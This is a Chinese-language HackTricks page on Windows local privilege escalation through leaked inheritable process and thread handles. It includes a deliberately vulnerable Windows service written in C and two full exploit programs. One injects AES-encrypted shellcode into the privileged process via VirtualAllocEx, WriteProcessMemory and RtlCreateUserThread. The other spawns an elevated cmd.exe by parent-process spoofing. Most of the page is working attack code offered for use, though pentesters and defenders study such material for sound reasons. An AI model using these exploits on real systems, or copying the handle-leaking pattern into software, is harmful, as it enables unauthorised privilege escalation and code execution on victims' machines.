hacktricks/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md

# 泄露句柄利用

<details>

<summary><strong>从零到英雄学习AWS黑客技术，参加</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**

</details>

## 引言

进程中的句柄允许**访问**不同的**Windows资源**：

![](<../../.gitbook/assets/image (663) (1).png>)

已经有几个**权限提升**案例，其中一个**拥有权限的进程**带有**打开且可继承的句柄**，它**运行了一个无权限的进程**，使其**访问所有这些句柄**。

例如，想象一个**以SYSTEM身份运行的进程打开了一个新进程**(`OpenProcess()`)，具有**完全访问权限**。同一个进程**还创建了一个新进程**(`CreateProcess()`)，**但权限较低，继承了主进程的所有打开句柄**。\
然后，如果您**完全访问低权限的进程**，您可以获取**使用`OpenProcess()`创建的对有权限进程的打开句柄**，并**注入一个shellcode**。

## **有趣的句柄**

### **进程**

如您在初始示例中所读，如果一个**无权限的进程继承了一个有权限进程的进程句柄**，并且权限足够，它将能够在其上执行**任意代码**。

在[**这篇出色的文章**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)中，您可以看到如何利用任何具有以下权限的进程句柄：

* PROCESS\_ALL\_ACCESS
* PROCESS\_CREATE\_PROCESS
* PROCESS\_CREATE\_THREAD
* PROCESS\_DUP\_HANDLE
* PROCESS\_VM\_WRITE

### 线程

与进程句柄类似，如果一个**无权限的进程继承了一个有权限进程的线程句柄**，并且权限足够，它将能够在其上执行**任意代码**。

在[**这篇出色的文章**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)中，您也可以看到如何利用任何具有以下权限的进程句柄：

* THREAD\_ALL\_ACCESS
* THREAD\_DIRECT\_IMPERSONATION
* THREAD\_SET\_CONTEXT

### 文件、键和节句柄

如果一个**无权限的进程继承了**一个具有**写**等效**权限**的**句柄**，用于**有权限的文件或注册表**，它将能够**覆盖**文件/注册表（并且如果非常**幸运**，**提升权限**）。

**节句柄**与文件句柄类似，这类[对象的通用名称是**"文件映射"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)。它们用于处理**大文件而不需要将整个**文件保留在内存中。这使得利用方式与文件句柄的利用相似。

## 如何查看进程的句柄

### Process Hacker

[**Process Hacker**](https://github.com/processhacker/processhacker)是您可以免费下载的工具。它有几个惊人的选项来检查进程，其中之一是**查看每个进程的句柄的能力**。

请注意，为了**查看所有进程的所有句柄，需要SeDebugPrivilege**（因此您需要以管理员身份运行Process Hacker）。

要查看进程的句柄，请右键单击进程并选择句柄：

![](<../../.gitbook/assets/image (651) (1).png>)

然后，您可以右键单击句柄并**检查权限**：

![](<../../.gitbook/assets/image (628).png>)

### Sysinternals句柄

Sysinternals的[**句柄**](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)二进制文件也会在控制台中列出每个进程的句柄：

![](<../../.gitbook/assets/image (654).png>)

### LeakedHandlesFinder

[**这个工具**](https://github.com/lab52io/LeakedHandlesFinder)允许您**监控**泄露的**句柄**，甚至**自动利用**它们来提升权限。

### 方法论

现在您知道如何找到进程的句柄，您需要检查的是是否有任何**无权限的进程正在访问有权限的句柄**。在这种情况下，进程的用户可能能够获取句柄并滥用它来提升权限。

{% hint style="warning" %}
之前提到您需要SeDebugPrivilege来访问所有句柄。但是，**用户仍然可以访问他的进程的句柄**，所以如果您想仅从该用户提升权限，**使用用户常规权限执行工具可能会有用**。
```bash
handle64.exe /a | findstr /r /i "process thread file key pid:"
```
{% endhint %}

## 易受攻击的示例

例如，以下代码属于一个**Windows服务**，该服务存在漏洞。服务二进制文件中的易受攻击代码位于**`Exploit`**函数内。此函数首先**创建一个具有完全访问权限的新句柄进程**。然后，它**创建一个低权限进程**（通过复制_explorer.exe_的低权限令牌）执行_C:\users\username\desktop\client.exe_。**漏洞在于它创建低权限进程时将`bInheritHandles`设置为`TRUE`**。

因此，这个低权限进程能够获取最初创建的高权限进程的句柄，并注入并执行shellcode（见下一节）。
```c
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}
```
### 漏洞利用示例 1

{% hint style="info" %}
在真实场景中，你可能**无法控制将要被漏洞代码执行的二进制文件**（本例中的 _C:\users\username\desktop\client.exe_）。通常，你会**危害一个进程，并且需要检查是否可以访问任何特权进程的易受攻击的句柄**。
{% endhint %}

在这个示例中，你可以找到 _C:\users\username\desktop\client.exe_ 可能的漏洞利用代码。\
这段代码最有趣的部分位于 `GetVulnProcHandle` 函数。这个函数将**开始获取所有句柄**，然后它将**检查其中是否有任何句柄属于同一个 PID**，并且句柄属于一个**进程**。如果所有这些要求都满足（找到一个可访问的打开进程句柄），它将尝试**利用进程的句柄注入并执行 shellcode**。\
Shellcode 的注入是在 **`Inject`** 函数内完成的，它将仅**将 shellcode 写入特权进程并在同一进程内创建一个线程**来执行 shellcode）。
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("My PID: %d\n", GetCurrentProcessId());
getchar();

// find a leaked handle to a process
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();

return 0;
}
```
### 漏洞利用示例 2

{% hint style="info" %}
在真实场景中，你可能**无法控制将要被漏洞代码执行的二进制文件**（本例中为 _C:\users\username\desktop\client.exe_）。你可能会**危害一个进程，并且你需要查看是否可以访问任何有特权进程的易受攻击的句柄**。
{% endhint %}

在这个例子中，**不是滥用打开的句柄来注入**并执行shellcode，而是将**使用有特权的打开句柄进程的令牌来创建一个新的进程**。这在第138到148行中完成。

注意**函数 `UpdateProcThreadAttribute`** 是如何与**属性 `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` 和打开的有特权进程的句柄**一起使用的。这意味着**创建的进程线程执行 \_cmd.exe**\_\*\* 将具有与打开句柄进程相同的令牌特权\*\*。
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}
```
## 其他工具和示例

* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)

此工具允许您监控泄露的句柄以找到易受攻击的句柄，甚至可以自动利用它们。它还有一个泄露句柄的工具。

* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)

另一个泄露句柄并利用它的工具。

## 参考资料

* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)

<details>

<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**

</details>